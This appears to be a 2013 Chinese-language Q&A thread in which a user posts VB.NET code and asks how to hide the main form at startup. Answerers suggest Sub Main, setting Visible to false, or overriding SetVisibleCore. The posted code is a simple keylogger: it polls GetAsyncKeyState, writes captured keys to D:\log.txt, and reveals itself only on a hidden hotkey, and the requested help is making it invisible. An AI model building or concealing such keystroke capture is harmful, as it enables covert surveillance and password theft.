2013-04-05 68 views
1

我想在启动时隐藏主窗体,但由于某种原因,我未能做到这一点。在下面的代码中,我创建了一个隐藏窗体的按钮,但我想隐藏载入的窗体。请帮助我。提前致谢。如何在启动时隐藏vb表单?

Option Strict On 

Public Class Form1 
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer 

    Private Sub timerKeys_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles timerKeys.Tick 
     Dim result As Integer 
     Dim key As String 

     Dim i As Integer 
     For i = 2 To 90 
      result = 0 
      result = GetAsyncKeyState(i) 
      If result = -32767 Then 
       tbLog.Text = tbLog.Text + Chr(i) 
       If i = 13 Then key = vbNewLine 

       Exit For 
      End If 
     Next i 

     If key <> Nothing Then 
      If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then 
       tbLog.Text = key 
      Else 
       tbLog.Text = key.ToLower 
      End If 
     End If 

     If My.Computer.Keyboard.CtrlKeyDown AndAlso My.Computer.Keyboard.AltKeyDown AndAlso key = "z" Then 
      Me.Show() 

     End If 
    End Sub 

    Private Sub btnHide_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnHide.Click 
     Me.Hide() 
    End Sub 
    Private msg As String = "" 
    Private Sub timerSave_Tick() Handles timerSave.Tick 
     My.Computer.FileSystem.WriteAllText("D:\log.txt", tbLog.Text, True) 
     tbLog.Clear() 

    End Sub 

    Private Sub Form1_FormClosed(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosedEventArgs) Handles Me.FormClosed 
     tbLog.Text &= vbNewLine & "Closed at:" & Now & vbNewLine 
     'My.Computer.FileSystem.WriteAllText("D:\log1.txt", tbLog.Text, True) 
     timerSave_Tick() 

    End Sub 


    Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load 

     tbLog.Text = " Started at :" & Now & vbNewLine 

    End Sub 

    Public Sub store(ByVal s As String) 

    End Sub 
End Class 
+0

不'Me.Visible = FALSE'在构造函数中做的伎俩? – 2013-04-05 10:01:55

+0

为什么你首先有一个创业形式?这听起来似乎对你没有意义。 – 2013-04-05 10:11:01

回答

4

如果您不想在启动时显示表单,那么解决方案是更改项目的启动方法,而不是尝试隐藏表单。

在应用程序设置中,禁用“应用程序框架”并将启动对象设置为Sub Main而不是表单对象。然后在模块中写入适当的Sub Main入口点。

The MSDN has more information(尽管本文中给出的一些信息极其具有误导性)。

+0

感谢您的评论我做了这一点,使不透明度为0. Konrad你能告诉我如何让我的应用程序运行,直到用户选择关机选项,所以我可以安全关闭我的应用 – 2013-04-06 08:58:04

0

当你走的代码选项卡,正下方是一个列表框。选择“(form1 events)”。在完成之后,在它旁边是另一个列表框。将该文本框放在“加载”上。一个新的事件被创建。该事件在程序启动时启动。放入这个事件:me.visible = false。这应该做到这一点。

+0

谢谢japoo,但我已经得到了答案.. :d – 2013-05-21 08:37:06

0

只需在表单的开头输入粘贴。

Protected Overrides Sub SetVisibleCore(ByVal value As Boolean) 
    If Not Me.IsHandleCreated Then 
     Me.CreateHandle() 
     value = False 
    End If 
    MyBase.SetVisibleCore(value) 
End Sub 

的更多信息,请访问: How to have an invisible start up form? by Hans Passant

最佳,